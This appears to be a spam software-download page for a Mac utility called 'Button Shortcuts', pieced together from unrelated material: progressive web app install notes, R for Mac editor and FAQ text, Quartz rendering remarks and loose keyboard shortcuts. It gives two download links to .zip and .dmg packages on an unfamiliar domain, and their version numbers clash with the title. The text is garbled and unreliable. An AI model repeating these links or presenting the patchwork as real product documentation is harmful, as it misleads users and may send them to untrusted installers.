Main category \ Utilities

Sub category \ System

Developer \ Austin Ryder

Filesize \ 9626

Title \ Button Shortcuts

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Button Shortcuts version 1.5.3

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2.4.4 Editor function list

While not strictly a requirement, the app should be able to work offline with service worker caching. The app also has to listen for, and handle, the beforeinstallprompt event. See Google’s Add to Home Screen guide for implementation details.

Command+Shift+A

If Built-in editor is selected, allows enable/disable of syntax coloring, brace highlighting and the showing of line numbers. If External editor is selected, allows specifying which external editor. That editor will be used for all editing functions. It runs as a separate application. Using an external editor means that R will never wait while editing (e.g. edit(A) will return immediately and open A in the external editor. Command-E and Command-Return like functionality would need to be implemented by other means, i.e. AppleScript. The external editor can be any application (e.g. SubEthaEdit, TextWrangler, BBEdit, Smultron, etc) or can be activated through a shell script (e.g. see or smultron, both give better control on how to start the editor).

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Updated on 10.11.5

https://macpkg.icu/?id=58086&kw=TLnwM.1.5.4.Button.Shortcuts.zip

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https://macpkg.icu/?id=58086&kw=hf7bgq.v.1.5.2.button.shortcuts.dmg

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Extend and Automate

Other shortcuts: Choose Apple menu > System Preferences, click Keyboard, then click Shortcuts.

We correct for this effect in Quartz when rendering on-screen by snapping all rectangles to pixel boundaries of the screen, but Preview does not.

Cmd-Shift-Period(.)

Option-Command-Up Arrow

How to boot up in single-user mode

The last section of this document contains the most frequently asked questions that don’t fit strictly into any of the categories above – it is usually a good idea to always look into that section if your issue doesn’t fit any of the above or was not answered in one of the specific sections. Always read this FAQ before asking for help on R-SIG-Mac!